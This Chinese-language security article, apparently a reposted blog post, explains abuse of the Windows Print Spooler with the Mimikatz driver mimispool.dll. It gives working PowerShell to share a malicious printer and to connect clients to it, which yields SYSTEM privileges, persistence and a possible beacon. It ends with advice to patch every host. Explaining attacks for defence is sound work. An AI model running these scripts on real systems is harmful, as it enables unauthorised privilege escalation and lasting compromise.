利用打印后台处理程序进行权限提升和持久化

  • A+
所属分类:安全文章
利用打印后台处理程序进行权限提升和持久化点击上方蓝字关注我们

利用打印后台处理程序进行权限提升和持久化


前言


Print Spooler是打印后台处理服务,负责管理和处理打印机作业,它在Windows中以SYSTEM权限运行。Print Spooler打印后台处理服务可以被用于通用权限提升和持久化。通过在网络上共享任意打印机,网络上的每个主机中都可获得SYSTEM权限。


技术细节


研究人员发布了一个虚假的打印机驱动程序(作为Mimikatz的一部分),该程序可用于演示上诉攻击场景。需要在已获得本地管理员访问权限的受感染系统上执行以下PowerShell代码片段,以使系统成为打印服务器。代码执行后,将添加一台带有Windows嵌入式驱动程序的新打印机。恶意驱动程序(mimispool.dll)将从Mimikatz被复制到打印机驱动程序文件夹中,并将创建指向恶意驱动程序所需的注册表项。

$printerName     = 'Pentest Lab Printer'$system32        = $env:systemroot + 'system32'$drivers         = $system32 + 'spooldrivers'$RegStartPrinter = 'Registry::HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionPrintPrinters' + $printerName Copy-Item -Force -Path ($system32 + 'mscms.dll')             -Destination ($system32 + 'mimispool.dll')Copy-Item -Force -Path '.mimikatz_trunkx64mimispool.dll'   -Destination ($drivers  + 'x643mimispool.dll')Copy-Item -Force -Path '.mimikatz_trunkwin32mimispool.dll' -Destination ($drivers  + 'W32X863mimispool.dll') Add-PrinterDriver -Name       'Generic / Text Only'Add-Printer       -DriverName 'Generic / Text Only' -Name $printerName -PortName 'FILE:' -Shared New-Item         -Path ($RegStartPrinter + 'CopyFiles')        | Out-Null New-Item         -Path ($RegStartPrinter + 'CopyFilesKiwi')   | Out-NullNew-ItemProperty -Path ($RegStartPrinter + 'CopyFilesKiwi')   -Name 'Directory' -PropertyType 'String'      -Value 'x643'           | Out-NullNew-ItemProperty -Path ($RegStartPrinter + 'CopyFilesKiwi')   -Name 'Files'     -PropertyType 'MultiString' -Value ('mimispool.dll') | Out-NullNew-ItemProperty -Path ($RegStartPrinter + 'CopyFilesKiwi')   -Name 'Module'    -PropertyType 'String'      -Value 'mscms.dll'       | Out-Null New-Item         -Path ($RegStartPrinter + 'CopyFilesLitchi') | Out-NullNew-ItemProperty -Path ($RegStartPrinter + 'CopyFilesLitchi') -Name 'Directory' -PropertyType 'String'      -Value 'W32X863'        | Out-NullNew-ItemProperty -Path ($RegStartPrinter + 'CopyFilesLitchi') -Name 'Files'     -PropertyType 'MultiString' -Value ('mimispool.dll') | Out-NullNew-ItemProperty -Path ($RegStartPrinter + 'CopyFilesLitchi') -Name 'Module'    -PropertyType 'String'      -Value 'mscms.dll'       | Out-Null New-Item         -Path ($RegStartPrinter + 'CopyFilesMango')  | Out-NullNew-ItemProperty -Path ($RegStartPrinter + 'CopyFilesMango')  -Name 'Directory' -PropertyType 'String'      -Value $null             | Out-NullNew-ItemProperty -Path ($RegStartPrinter + 'CopyFilesMango')  -Name 'Files'     -PropertyType 'MultiString' -Value $null             | Out-NullNew-ItemProperty -Path ($RegStartPrinter + 'CopyFilesMango')  -Name 'Module'    -PropertyType 'String'      -Value 'mimispool.dll'   | Out-Null

利用打印后台处理程序进行权限提升和持久化

创建共享打印机

打印管理中可以看见新创建的虚假打印机。

利用打印后台处理程序进行权限提升和持久化

虚假打印机

新打印机将被共享,因此可以从网络中的任何系统访问它。

利用打印后台处理程序进行权限提升和持久化

共享打印机

作为标准用户,对网络上任何主机进行身份验证,并从PowerShell控制台执行以下操作,以将假打印机与主机连接。在连接过程中,恶意驱动程序也将被加载。

$serverName  = 'dc.purple.lab'$printerName = 'Pentest Lab Printer' $fullprinterName = '\' + $serverName + '' + $printerName + ' - ' + $(If ([System.Environment]::Is64BitOperatingSystem) {'x64'} Else {'x86'}) Remove-Printer -Name $fullprinterName -ErrorAction SilentlyContinueAdd-Printer -ConnectionName $fullprinterName

利用打印后台处理程序进行权限提升和持久化

客户端 – 通过PowerShell连接到打印机

或者,可以通过 Windows 资源管理器并双击网络打印机来建立此连接。

利用打印后台处理程序进行权限提升和持久化

Windows打印机安装

安装完成后,恶意驱动程序也将被加载,任何任意代码都将在提升的上下文 (SYSTEM) 中执行。默认情况下,“mimispool.dll”将打开一个提升的命令提示符。即使用户启动安装,代码也将以提升的权限执行,因为以SYSTEM身份运行的 Print Spooler服务将实际执行安装。

利用打印后台处理程序进行权限提升和持久化

打印机 - 提升的命令提示符

但是,可以修改驱动程序以在系统上执行信标。

利用打印后台处理程序进行权限提升和持久化

通过打印机提权

值得注意的是,通过网络共享恶意打印机并执行来自不同主机的驱动程序不仅会导致通用权限提升,还可以作为一种持久化方法。这是因为Print Spoolerda打印后台处理服务将在Windows启动期间,加载属于以下目录的所有驱动程序:

C:WindowsSystem32spooldriversx643

了解该技术在后台是如何工作是很有用的。最初,“spoolsv.exe”进程将从打印共享文件夹中复制驱动程序文件。

利用打印后台处理程序进行权限提升和持久化

创建文件 – mimispool.dll

任意驱动程序文件将被复制到本地驱动程序文件夹中。

利用打印后台处理程序进行权限提升和持久化

本地复制 mimispool.dll

与打印机相关联的注册表项将在本地,以与充当打印机服务器的系统相同的结构呈现。

利用打印后台处理程序进行权限提升和持久化

注册表项

“spoolsv.exe”进程以SYSTEM用户身份运行。因此,文件和注册表项可以复制到特权位置,例如HKLM和Windows System32。

利用打印后台处理程序进行权限提升和持久化

spoolsv.exe 进程

”spoolsv.exe”进程将在本地创建所需的注册表项,这些注册表项将把任意驱动程序映射到虚假的共享打印机。

利用打印后台处理程序进行权限提升和持久化

Spoolsv – 注册表项 mimispool.dll

一旦网络打印机安装完成,将在系统上执行任意代码。默认情况下,驱动程序旨在从 SYSTEM 用户的角度打开命令提示符,父进程的PID为1648。

利用打印后台处理程序进行权限提升和持久化

进程命令

检查系统进程,可以看到PID=1648的进程属于“spoolsv.exe”,这证明了权限提升是如何发生的。

利用打印后台处理程序进行权限提升和持久化

spoolsv.exe进程


总结


最初,Print Spooler打印后台处理服务中的漏洞,主要被滥用来在域控制器和服务器上实现本地权限提升和远程代码执行。但是,该技术现也可以被用于Windows工作站和服务器上的本地权限提升和持久化。因此,修复工作应涵盖网络上的所有系统,而不仅仅是域控制器。


利用打印后台处理程序进行权限提升和持久化

END



利用打印后台处理程序进行权限提升和持久化


好文!必须在看

本文始发于微信公众号(SecTr安全团队):利用打印后台处理程序进行权限提升和持久化

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: